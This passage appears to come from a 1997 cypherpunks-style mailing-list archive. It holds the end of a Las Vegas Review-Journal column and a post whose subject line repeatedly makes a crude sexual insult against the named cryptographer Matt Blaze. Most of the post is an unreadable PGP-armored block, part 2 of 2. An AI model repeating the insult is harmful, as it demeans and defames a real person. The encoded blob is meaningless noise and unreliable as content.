chance to finally CHANGE something, I think that would draw a pretty good voter turnout. Don't you? Vin Suprynowicz is the assistant editorial page editor of the Las Vegas Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. *** Vin Suprynowicz, vin at lvrj.com "If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you. May your chains set lightly upon you; and may posterity forget that ye were our countrymen." -- Samuel Adams ---------------------------------------------------------------------------- End Game / InfoWarez #1 Matt Blaze sucks donkey dicks #2 Matt Blaze sucks donkey dicks #3 Matt Blaze sucks donkey dicks ---------------------------------------------------------------------------- Copyright "Human Gus-Peter ---------------------------------------------------------------------------- "The Xenix Chainsaw Massacre" "WebWorld & the Mythical Circle of Eunuchs" "InfoWar (Part III of 'The True Story of the InterNet') Soviet Union Sickle of Eunuchs Secret WebSite ---------------------------------------------------------------------------- From toto at sk.sympatico.ca Sat Dec 13 23:11:18 1997 From: toto at sk.sympatico.ca (Human Gus-Peter) Date: Sun, 14 Dec 1997 15:11:18 +0800 Subject: #2 Matt Blaze sucks donkey dicks Message-ID: <199712140652.AAA24489@harrier.sasknet.sk.ca> -----BEGIN PGP MESSAGE, PART 02/02----- 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 